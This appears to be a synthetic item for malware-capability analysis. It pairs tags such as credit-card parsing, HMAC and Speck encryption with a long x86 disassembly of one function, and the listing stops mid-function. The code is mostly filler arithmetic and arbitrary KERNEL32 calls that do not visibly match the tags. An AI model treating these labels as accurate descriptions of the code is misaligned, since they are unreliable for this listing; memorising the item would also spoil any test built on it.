Function at 0x401500
Capabilities:
Accept command line arguments
Authenticate hmac
Check os version
Create pipe
Encrypt data using speck
Get file size
Parse credit card information
Parse pe header
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push esi
mov dword [ebp - 0x2c], 0x5a
mov dword [ebp - 8], 0x46
mov dword [ebp - 0x34], 0x10
mov dword [ebp - 0x18], 0x16
mov dword [ebp - 0x20], 0x39
mov eax, dword [0x40f02c]
push eax
mov ecx, dword [0x40f01c]
push ecx
mov edx, dword [str._5L0]
push edx
call fcn.00401000
add esp, 0xc
add eax, dword [0x40f02c]
mov dword [0x40f02c], eax
mov eax, dword [0x40f034]
add eax, 0x58
mov dword [0x40f034], eax
mov ecx, dword [0x40f020]
add ecx, dword [0x40f020]
mov dword [0x40f020], ecx
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x34]
jne 0x401603
mov dword [ebp - 0x38], 2
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
je 0x4015e7
cmp dword [ebp - 0x84], 1
jle 0x4015e9
cmp dword [ebp - 0x84], 4
jle 0x4015ac
jmp 0x4015e9
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00401370
add esp, 0x10
add eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x2c]
push edx
push 0x36
push 0xf
call dword [sym.imp.KERNEL32.dll_MulDiv]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x2c]
sub eax, 0x30
mov dword [ebp - 0x2c], eax
jmp 0x401603
cmp dword [ebp - 0x20], 0x10
jge 0x401603
mov ecx, dword [ebp - 0x2c]
push ecx
push 0x63
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, dword [ebp - 0x20]
sub edx, eax
mov dword [ebp - 0x20], edx
mov eax, dword [str._5L0]
sub eax, dword [0x40f01c]
mov dword [str._5L0], eax
mov ecx, dword [str._5L0]
push ecx
call dword [sym.imp.KERNEL32.dll_DecodePointer]
add eax, dword [0x40f020]
mov dword [0x40f020], eax
mov edx, dword [0x40f030]
sub edx, 0x17
mov dword [0x40f030], edx
mov eax, dword [ebp - 8]
push eax
push 0x23
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
cmp eax, 0x62
jbe 0x401674
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x20]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00401050
add esp, 4
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
jmp 0x40188d
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.004014a0
add esp, 0x18
cmp dword [ebp - 0x34], eax
jne 0x40188d
cmp dword [ebp - 8], 0x63
jle 0x40188d
mov dword [ebp - 0x3c], 1
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x88], ecx
mov edx, dword [ebp - 0x88]
sub edx, 1
mov dword [ebp - 0x88], edx
cmp dword [ebp - 0x88], 4
ja case.default.0x4016d9
mov eax, dword [ebp - 0x88]
jmp dword [eax*4 + 0x4038d8]
mov ecx, dword [ebp - 0x18]
and ecx, 0x2a
mov edx, dword [0x40f050]
sar edx, cl
mov dword [0x40f050], edx
mov eax, dword [ebp - 0x2c]
imul eax, eax, 0x4e
mov ecx, dword [0x40f04c]
sub ecx, eax
mov dword [0x40f04c], ecx
mov edx, dword [0x40f044]
or edx, 0x22
mov dword [0x40f044], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x2c]
push ecx
push 0x45
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov edx, dword [ebp - 0x18]
sub edx, eax
mov dword [ebp - 0x18], edx
push 0x2f
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x20], ecx
mov edx, dword [0x40f060]
mov ecx, dword [ebp - 0x20]
sar edx, cl
mov dword [0x40f060], edx
mov eax, dword [ebp - 0x34]
imul eax, eax, 0x31
add eax, dword [0x40f05c]
mov dword [0x40f05c], eax
mov edx, dword [0x40f04c]
mov ecx, dword [ebp - 0x20]
shl edx, cl
mov dword [0x40f04c], edx
mov eax, dword [ebp - 0x2c]
or eax, dword [ebp - 0x20]
mov ecx, dword [0x40f050]
sub ecx, eax
mov dword [0x40f050], ecx
mov edx, dword [0x40f044]
xor edx, dword [ebp - 0x20]
mov dword [0x40f044], edx
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
sub eax, 0x33
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00401300
add esp, 8
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call fcn.00401370
add esp, 0x10
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
jmp 0x40188d
mov eax, dword [0x40f00c]
cmp eax, dword [ebp - 0x2c]
jge 0x40183c
mov ecx, dword [ebp - 0x18]
push ecx
push 0x53
push 0x31
push 0x2e
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
cmp dword [0x40f010], 0x18
jg 0x401853
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x20], 0x2f
jge 0x401862
mov edx, dword [ebp - 8]
add edx, 0x58
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00401050
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.00401300
add esp, 8
cmp esi, eax
jl 0x40188d
mov eax, dword [ebp - 8]
add eax, 0x19
mov dword [ebp - 8], eax
mov ecx, dword [0x40f02c]
sub ecx, dword [str._5L0]
mov dword [0x40f02c], ecx
mov edx, dword [0x40f028]
push edx
mov eax, dword [0x40f02c]
push eax
mov ecx, dword [0x40f01c]
push ecx
mov edx, dword [0x40f034]
push edx
mov eax, dword [0x40f028]
push eax
call fcn.00401190
add esp, 0x14
mov ecx, dword [0x40f01c]
sub ecx, eax
mov dword [0x40f01c], ecx
mov edx, dword [str._5L0]
sub edx, dword [0x40f02c]
mov dword [str._5L0], edx
cmp dword [0x40f008], 0x44
jle 0x401941
mov eax, dword [0x40f02c]
sub eax, 0x16
mov dword [0x40f02c], eax
mov ecx, dword [0x40f028]
sub ecx, dword [0x40f034]
mov dword [0x40f028], ecx
mov edx, dword [str._5L0]
push edx
mov eax, dword [0x40f034]
push eax
mov ecx, dword [0x40f02c]
push ecx
mov edx, dword [0x40f020]
push edx
call fcn.00401370
add esp, 0x10
mov ecx, dword [0x40f034]
sub ecx, eax
mov dword [0x40f034], ecx
cmp dword [str._5L0], 0x48
jle 0x401a6b
mov dword [ebp - 0x40], 2
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x8c], edx
cmp dword [ebp - 0x8c], 1
je 0x4019c9
cmp dword [ebp - 0x8c], 2
je 0x401975
jmp 0x401a16
mov eax, dword [0x40f034]
sub eax, dword [0x40f034]
mov dword [0x40f034], eax
push 0x5d
call dword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
add eax, dword [0x40f030]
mov dword [0x40f030], eax
mov ecx, dword [0x40f01c]
add ecx, 0x44
mov dword [0x40f01c], ecx
mov edx, dword [0x40f034]
add edx, dword [0x40f034]
mov dword [0x40f034], edx
mov eax, dword [0x40f02c]
add eax, dword [0x40f030]
mov dword [0x40f02c], eax
mov ecx, dword [0x40f02c]
sub ecx, dword [str._5L0]
mov dword [0x40f02c], ecx
mov edx, dword [0x40f034]
push edx
mov eax, dword [str._5L0]
push eax
mov ecx, dword [0x40f020]
push ecx
call fcn.00401000
add esp, 0xc
add eax, dword [0x40f02c]
mov dword [0x40f02c], eax
mov edx, dword [0x40f01c]
sub edx, dword [0x40f01c]
mov dword [0x40f01c], edx
jmp 0x401a69
mov eax, dword [ebp - 0x20]
cmp eax, dword [0x40f008]
jg 0x401a30
mov ecx, dword [0x40f020]
sub ecx, 0x4a
mov dword [0x40f020], ecx
mov edx, dword [0x40f014]
cmp edx, dword [ebp - 8]
jle 0x401a4b
mov eax, dword [0x40f034]
sub eax, dword [0x40f020]
mov dword [0x40f034], eax
push 0x21
push 0xa
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
cmp eax, 0x1e
ja 0x401a69
mov ecx, dword [0x40f034]
sub ecx, 0x26
mov dword [0x40f034], ecx
jmp 0x401a9c
mov edx, dword [0x40f01c]
sub edx, dword [0x40f034]
mov dword [0x40f01c], edx
mov eax, dword [0x40f030]
sub eax, dword [0x40f01c]
mov dword [0x40f030], eax
mov ecx, dword [0x40f02c]
add ecx, 0x59
mov dword [0x40f02c], ecx
cmp dword [str._5L0], 0x12
jl 0x401b04
mov edx, dword [0x40f01c]
add edx, dword [0x40f02c]
mov dword [0x40f01c], edx
mov eax, dword [0x40f030]
push eax
mov ecx, dword [0x40f020]
push ecx
mov edx, dword [0x40f028]
push edx
mov eax, dword [0x40f020]
push eax
mov ecx, dword [0x40f01c]
push ecx
mov edx, dword [0x40f028]
push edx
call fcn.004014a0
add esp, 0x18
mov ecx, dword [0x40f02c]
sub ecx, eax
mov dword [0x40f02c], ecx
mov edx, dword [0x40f020]
sub edx, 0x55
mov dword [0x40f020], edx
cmp dword [0x40f014], 0x1b
jle 0x401b87
mov eax, dword [0x40f028]
push eax
mov ecx, dword [str._5L0]
push ecx
mov edx, dword [0x40f02c]
push edx
mov eax, dword [0x40f020]
push eax
mov ecx, dword [0x40f01c]
push ecx
call fcn.00401190
add esp, 0x14
add eax, dword [0x40f030]
mov dword [0x40f030], eax
mov edx, dword [str._5L0]
push edx
mov eax, dword [0x40f020]
push eax
mov ecx, dword [0x40f02c]
push ecx
mov edx, dword [0x40f01c]
push edx
mov eax, dword [0x40f030]
push eax
call fcn.00401190
add esp, 0x14
mov ecx, dword [0x40f01c]
sub ecx, eax
mov dword [0x40f01c], ecx
mov edx, dword [0x40f01c]
sub edx, 0x36
mov dword [0x40f01c], edx
mov dword [ebp - 0x28], 0xc4e
cmp dword [0x40f00c], 0x3e
jge 0x401bc5
mov eax, dword [0x40f01c]
add eax, 0x28
mov dword [0x40f01c], eax
mov ecx, dword [0x40f020]
add ecx, dword [str._5L0]
mov dword [0x40f020], ecx
mov edx, dword [0x40f020]
add edx, 0x34
mov dword [0x40f020], edx
mov dword [ebp - 0x30], 0x13a8c
cmp dword [0x40f010], 0x45
jl 0x401c42
mov eax, dword [0x40f028]
push eax
push 0x63
mov ecx, dword [0x40f02c]
push ecx
mov edx, dword [0x40f028]
push edx
mov eax, dword [0x40f028]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov ecx, dword [0x40f030]
sub ecx, eax
mov dword [0x40f030], ecx
mov edx, dword [0x40f020]
push edx
call fcn.00401050
add esp, 4
add eax, dword [0x40f028]
mov dword [0x40f028], eax
mov eax, dword [0x40f034]
push eax
mov ecx, dword [0x40f01c]
push ecx
call fcn.00401300
add esp, 8
mov edx, dword [0x40f030]
sub edx, eax
mov dword [0x40f030], edx
cmp dword [0x40f00c], 0x32
jge 0x401c66
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x18], 0x40
jle 0x401ca4
cmp dword [ebp - 0x34], 0x64
jl 0x401ca4
mov eax, dword [0x40f034]
add eax, 0x41
mov dword [0x40f034], eax
push 0x15
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
add eax, dword [0x40f01c]
mov dword [0x40f01c], eax
mov ecx, dword [0x40f028]
add ecx, dword [0x40f020]
mov dword [0x40f028], ecx
mov dword [ebp - 0x10], 0
mov edx, dword [0x40f00c]
cmp edx, dword [ebp - 0x2c]
jg 0x401e20
mov dword [ebp - 0x44], 4
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x90]
sub ecx, 1
mov dword [ebp - 0x90], ecx
cmp dword [ebp - 0x90], 5
ja case.default.0x401cec
mov edx, dword [ebp - 0x90]
jmp dword [edx*4 + 0x4038ec]
mov eax, dword [0x40f02c]
and eax, 0x46
xor eax, dword [0x40f03c]
mov dword [0x40f03c], eax
mov ecx, dword [0x40f030]
imul ecx, ecx, 0x43
xor ecx, dword [0x40f05c]
mov dword [0x40f05c], ecx
mov edx, dword [0x40f028]
add edx, 0x14
and edx, dword [0x40f05c]
mov dword [0x40f05c], edx
mov eax, dword [0x40f04c]
xor eax, 1
mov dword [0x40f04c], eax
mov ecx, dword [0x40f020]
add ecx, 0x16
mov dword [0x40f020], ecx
mov edx, dword [0x40f020]
sub edx, dword [0x40f030]
mov dword [0x40f020], edx
push 0x33
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov ecx, dword [0x40f020]
sub ecx, eax
mov dword [0x40f020], ecx
mov edx, dword [0x40f02c]
add edx, dword [0x40f028]
mov dword [0x40f02c], edx
mov eax, dword [0x40f020]
add eax, dword [0x40f020]
mov dword [0x40f020], eax
mov edx, dword [str.2W_U9FN___]
mov ecx, dword [str._5L0]
shl edx, cl
mov dword [str.2W_U9FN___], edx
mov eax, dword [0x40f020]
sub eax, 0x46
mov dword [0x40f020], eax
mov ecx, dword [0x40f02c]
add ecx, dword [0x40f028]
mov dword [0x40f02c], ecx
jmp 0x401e20
cmp dword [0x40f020], 0x49
jg 0x401e05
mov edx, dword [0x40f030]
push edx
mov eax, dword [str._5L0]
push eax
mov ecx, dword [0x40f030]
push ecx
mov edx, dword [0x40f01c]
push edx
call fcn.00401370
add esp, 0x10
mov ecx, dword [0x40f030]
sub ecx, eax
mov dword [0x40f030], ecx
mov edx, dword [0x40f010]
cmp edx, dword [ebp - 0x20]
jl 0x401e20
mov eax, dword [0x40f028]
sub eax, dword [0x40f034]
mov dword [0x40f028], eax
mov ecx, dword [0x40f028]
sub ecx, 0x47
mov dword [0x40f028], ecx
mov edx, dword [0x40f028]
sub edx, dword [0x40f020]
mov dword [0x40f028], edx
mov eax, dword [0x40f01c]
sub eax, dword [0x40f030]
mov dword [0x40f01c], eax
cmp dword [ebp - 0x34], 0x54
jle 0x401e9f
push 0x5e
call dword [sym.imp.KERNEL32.dll_CancelIo]
add eax, dword [0x40f020]
mov dword [0x40f020], eax
mov ecx, dword [0x40f02c]
add ecx, dword [0x40f020]
mov dword [0x40f02c], ecx
mov edx, dword [0x40f030]
push edx
mov eax, dword [str._5L0]
push eax
call fcn.00401300
add esp, 8
mov ecx, dword [0x40f034]
sub ecx, eax
mov dword [0x40f034], ecx
cmp dword [0x40f014], 0x50
jle 0x401f22
mov dword [ebp - 0x48], 2
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x94], edx
cmp dword [ebp - 0x94], 1
je 0x401ed5
cmp dword [ebp - 0x94], 2
je 0x401efb
cmp dword [ebp - 0x94], 3
je 0x401ed5
jmp 0x401f0f
mov eax, dword [0x40f028]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
add eax, dword [str._5L0]
mov dword [str._5L0], eax
mov ecx, dword [0x40f034]
sub ecx, 0xd
mov dword [0x40f034], ecx
mov edx, dword [str._5L0]
sub edx, dword [0x40f01c]
mov dword [str._5L0], edx
jmp 0x401f22
cmp dword [ebp - 0x34], 0x23
jle 0x401f22
mov eax, dword [0x40f01c]
sub eax, 0x5a
mov dword [0x40f01c], eax
mov ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x52
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call fcn.004014a0
add esp, 0x18
mov ecx, dword [ebp - 0x34]
sub ecx, eax
mov dword [ebp - 0x34], ecx
push 0x39
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
cmp eax, dword [0x40f034]
jb 0x4021b6
mov dword [ebp - 0x4c], 3
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x98]
sub eax, 1
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 4
ja case.default.0x401fa2
mov ecx, dword [ebp - 0x98]
jmp dword [ecx*4 + 0x403904]
mov edx, dword [0x40f054]
mov ecx, dword [0x40f030]
shl edx, cl
mov dword [0x40f054], edx
mov ecx, dword [0x40f020]
or ecx, 0x15
mov eax, dword [0x40f05c]
shl eax, cl
mov dword [0x40f05c], eax
mov ecx, dword [0x40f040]
shl ecx, 4
mov dword [0x40f040], ecx
mov edx, dword [str._5L0]
xor edx, 0x34
mov eax, dword [str.2W_U9FN___]
sub eax, edx
mov dword [str.2W_U9FN___], eax
mov ecx, dword [0x40f030]
sub ecx, 0x26
mov dword [0x40f030], ecx
mov edx, dword [0x40f028]
add edx, dword [0x40f020]
mov dword [0x40f028], edx
mov eax, dword [str.2W_U9FN___]
imul eax, dword [str._5L0]
mov dword [str.2W_U9FN___], eax
mov ecx, dword [0x40f060]
imul ecx, dword [0x40f02c]
mov dword [0x40f060], ecx
mov edx, dword [0x40f05c]
sub edx, 0x58
mov dword [0x40f05c], edx
mov eax, dword [0x40f020]
add eax, 0x23
and eax, dword [0x40f058]
mov dword [0x40f058], eax
mov ecx, dword [0x40f050]
and ecx, dword [0x40f028]
mov dword [0x40f050], ecx
mov edx, dword [0x40f02c]
sub edx, dword [0x40f01c]
mov dword [0x40f02c], edx
mov eax, dword [0x40f028]
add eax, 0xb
mov dword [0x40f028], eax
mov ecx, dword [0x40f02c]
push ecx
mov edx, dword [0x40f020]
push edx
mov eax, dword [0x40f01c]
push eax
mov ecx, dword [0x40f020]
push ecx
call fcn.00401410
add esp, 0x10
add eax, dword [0x40f028]
mov dword [0x40f028], eax
mov edx, dword [0x40f030]
sub edx, 0x3a
mov dword [0x40f030], edx
push 0x36
mov eax, dword [0x40f028]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov ecx, dword [0x40f028]
sub ecx, eax
mov dword [0x40f028], ecx
jmp 0x4021b6
cmp dword [ebp - 0x18], 0x58
jl 0x402119
mov edx, dword [0x40f020]
push edx
mov eax, dword [0x40f020]
push eax
mov ecx, dword [0x40f01c]
push ecx
call fcn.00401000
add esp, 0xc
add eax, dword [0x40f034]
mov dword [0x40f034], eax
push 0x2d
mov edx, dword [0x40f028]
push edx
push 0x44
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
cmp eax, 0x30
jbe 0x40213f
mov eax, dword [0x40f02c]
sub eax, dword [str._5L0]
mov dword [0x40f02c], eax
cmp dword [ebp - 0x18], 0x15
jg 0x402154
mov ecx, dword [0x40f02c]
sub ecx, 0x52
mov dword [0x40f02c], ecx
mov edx, dword [0x40f00c]
cmp edx, dword [ebp - 0x2c]
jge 0x402173
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
mov ecx, dword [0x40f028]
sub ecx, eax
mov dword [0x40f028], ecx
push 0x4b
push 0xb
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov esi, eax
mov edx, dword [0x40f01c]
push edx
mov eax, dword [0x40f01c]
push eax
mov ecx, dword [0x40f020]
push ecx
mov edx, dword [0x40f030]
push edx
call fcn.00401370
add esp, 0x10
cmp esi, eax
jb 0x4021b6
mov eax, dword [0x40f034]
add eax, dword [0x40f01c]
mov dword [0x40f034], eax
mov ecx, dword [ebp - 0x34]
push ecx
push 0x51
push 0x1d
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, dword [ebp - 8]
sub edx, eax
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401000
add esp, 0xc
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x20]
add edx, 0x2a
mov dword [ebp - 0x20], edx
mov eax, dword [str._5L0]
push eax
mov ecx, dword [0x40f030]
push ecx
push 0x28
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov esi, eax
mov edx, dword [0x40f034]
push edx
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
cmp esi, eax
ja 0x402365
mov dword [ebp - 0x50], 5
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jle 0x402277
cmp dword [ebp - 0x9c], 2
jle 0x402241
jmp 0x402277
mov ecx, dword [0x40f01c]
add ecx, dword [0x40f020]
mov dword [0x40f01c], ecx
mov edx, dword [0x40f034]
add edx, 0x52
mov dword [0x40f034], edx
mov eax, dword [0x40f034]
add eax, dword [0x40f020]
mov dword [0x40f034], eax
jmp 0x402365
mov ecx, dword [0x40f034]
push ecx
mov edx, dword [0x40f034]
push edx
mov eax, dword [0x40f01c]
push eax
mov ecx, dword [0x40f034]
push ecx
call fcn.00401370
add esp, 0x10
mov esi, eax
push 0x1d
push 0x39
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
cmp esi, eax
jb 0x4022d6
mov edx, dword [0x40f028]
push edx
push 0x61
mov eax, dword [0x40f01c]
push eax
mov ecx, dword [0x40f020]
push ecx
push 0x4e
call dword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov edx, dword [0x40f020]
sub edx, eax
mov dword [0x40f020], edx
mov eax, dword [0x40f02c]
cmp eax, dword [0x40f01c]
jne 0x4022f7
mov ecx, dword [0x40f020]
add ecx, dword [0x40f01c]
mov dword [0x40f020], ecx
jmp 0x402309
mov edx, dword [0x40f034]
sub edx, dword [str._5L0]
mov dword [0x40f034], edx
mov eax, dword [0x40f02c]
push eax
mov ecx, dword [0x40f02c]
push ecx
mov edx, dword [0x40f030]
push edx
mov eax, dword [str._5L0]
push eax
mov ecx, dword [0x40f02c]
push ecx
call fcn.00401190
add esp, 0x14
cmp eax, 0x3c
jge 0x402365
mov edx, dword [0x40f030]
push edx
mov eax, dword [0x40f028]
push eax
mov ecx, dword [0x40f030]
push ecx
mov edx, dword [0x40f020]
push edx
call fcn.00401410
add esp, 0x10
add eax, dword [0x40f030]
mov dword [0x40f030], eax
mov eax, dword [0x40f020]
sub eax, dword [str._5L0]
mov dword [0x40f020], eax
mov ecx, dword [0x40f030]
push ecx
mov edx, dword [0x40f034]
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
add eax, dword [str._5L0]
mov dword [str._5L0], eax
mov eax, dword [0x40f034]
sub eax, 0x39
mov dword [0x40f034], eax
mov ecx, dword [str._5L0]
push ecx
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
cmp dword [0x40f030], eax
jb 0x4024e2
mov dword [ebp - 0x58], 7
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0xa0], edx
mov eax, dword [ebp - 0xa0]
sub eax, 1
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
ja case.default.0x4023ec
mov ecx, dword [ebp - 0xa0]
jmp dword [ecx*4 + 0x403918]
mov edx, dword [0x40f034]
and edx, dword [str._5L0]
xor edx, dword [str.2W_U9FN___]
mov dword [str.2W_U9FN___], edx
mov eax, dword [0x40f060]
mov dword [0x40f060], eax
mov ecx, dword [str.2W_U9FN___]
or ecx, 0x5f
mov dword [str.2W_U9FN___], ecx
mov edx, dword [0x40f050]
mov ecx, dword [0x40f020]
sar edx, cl
mov dword [0x40f050], edx
mov eax, dword [0x40f054]
imul eax, dword [0x40f030]
mov dword [0x40f054], eax
mov ecx, dword [0x40f058]
sub ecx, 0x55
mov dword [0x40f058], ecx
mov edx, dword [0x40f030]
add edx, 0x17
mov dword [0x40f030], edx
mov eax, dword [0x40f01c]
push eax
mov ecx, dword [0x40f030]
push ecx
mov edx, dword [0x40f020]
push edx
mov eax, dword [0x40f028]
push eax
call fcn.00401370
add esp, 0x10
add eax, dword [0x40f01c]
mov dword [0x40f01c], eax
jmp 0x4024e0
cmp dword [0x40f00c], 0x56
jg 0x4024ae
mov ecx, dword [0x40f034]
add ecx, 0x37
mov dword [0x40f034], ecx
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
cmp dword [0x40f030], eax
jne 0x4024d0
mov edx, dword [0x40f020]
add edx, dword [0x40f01c]
mov dword [0x40f020], edx
jmp 0x4024e0
mov eax, dword [0x40f01c]
sub eax, dword [str._5L0]
mov dword [0x40f01c], eax
jmp 0x402513
mov ecx, dword [0x40f034]
add ecx, 0x60
mov dword [0x40f034], ecx
mov edx, dword [str._5L0]
add edx, dword [0x40f030]
mov dword [str._5L0], edx
mov eax, dword [0x40f01c]
sub eax, dword [0x40f020]
mov dword [0x40f01c], eax
cmp dword [0x40f00c], 0x59
jge 0x402659
mov dword [ebp - 0x5c], 5
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0xa4], ecx
cmp dword [ebp - 0xa4], 1
je 0x40254d
cmp dword [ebp - 0xa4], 2
je 0x40257f
cmp dword [ebp - 0xa4], 3
je 0x40254d
jmp 0x402584
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.00401370
add esp, 0x10
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 8]
mov dword [ebp - 0x20], edx
jmp 0x402659
mov eax, dword [0x40f014]
cmp eax, dword [ebp - 0x2c]
jle 0x402597
mov ecx, dword [ebp - 0x18]
sub ecx, 0x1d
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov esi, eax
push 0x41
push 0x57
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
cmp esi, eax
jb 0x4025c0
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x18], ecx
jmp 0x4025c9
mov edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x2c], 0x39
jne 0x4025da
mov eax, dword [ebp - 0x2c]
add eax, 0x54
mov dword [ebp - 0x2c], eax
jmp 0x4025ec
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov edx, dword [ebp - 0x2c]
sub edx, eax
mov dword [ebp - 0x2c], edx
cmp dword [0x40f00c], 0x61
jle 0x4025fe
mov eax, dword [ebp - 0x2c]
sub eax, 0x4c
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.004014a0
add esp, 0x18
cmp eax, 0xe
jge 0x40263d
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x18]
push edx
push 0x47
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov ecx, dword [ebp - 0x18]
sub ecx, eax
mov dword [ebp - 0x18], ecx
jmp 0x402659
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0x3e
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov edx, dword [ebp - 8]
sub edx, eax
